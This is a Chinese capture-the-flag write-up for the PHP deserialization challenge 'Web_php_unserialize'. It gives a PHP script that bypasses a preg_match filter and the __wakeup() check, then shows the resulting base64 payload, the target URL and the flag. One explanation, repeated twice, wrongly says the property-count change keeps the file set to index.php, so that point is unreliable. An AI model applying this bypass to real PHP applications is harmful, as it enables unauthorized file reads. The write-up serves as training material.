攻防世界---web---Web_php_unserialize

1、题目描述

2、

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客

6、在源代码中我们需要绕过几个函数

复制代码
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);                  
?>

7、运行代码可以看到序列后的结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

将a的值进行编码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

相关推荐
上海云盾-小余1 小时前
云主机安全加固:从系统、网络到应用的零信任配置
网络·安全·php
Eric.Lee20213 小时前
查看ubuntu机器正在使用的网络端口
网络·ubuntu·php
jinanwuhuaguo4 小时前
OpenClaw安全使用实践全景深度指南:从“裸奔龙虾”到“可信数字堡垒”的体系化构建
开发语言·php
xiangpanf4 小时前
Laravel学习指南:从入门到精通
php·laravel
南梦浅7 小时前
全过程步骤(从零到高可用企业网络)
开发语言·网络·php
yv_307 小时前
云曦26开学考复现
ctf
xiangpanf8 小时前
Laravel 9.X新特性全解析
php·laravel
xiangpanf8 小时前
Laravel与ThinkPHP框架深度对比
php·laravel
hongtianzai8 小时前
Laravel7.x十大核心特性解析
java·c语言·开发语言·golang·php
ZHOUPUYU8 小时前
从缓存到消息队列的全面应用,PHP与Redis深度实战
redis·缓存·php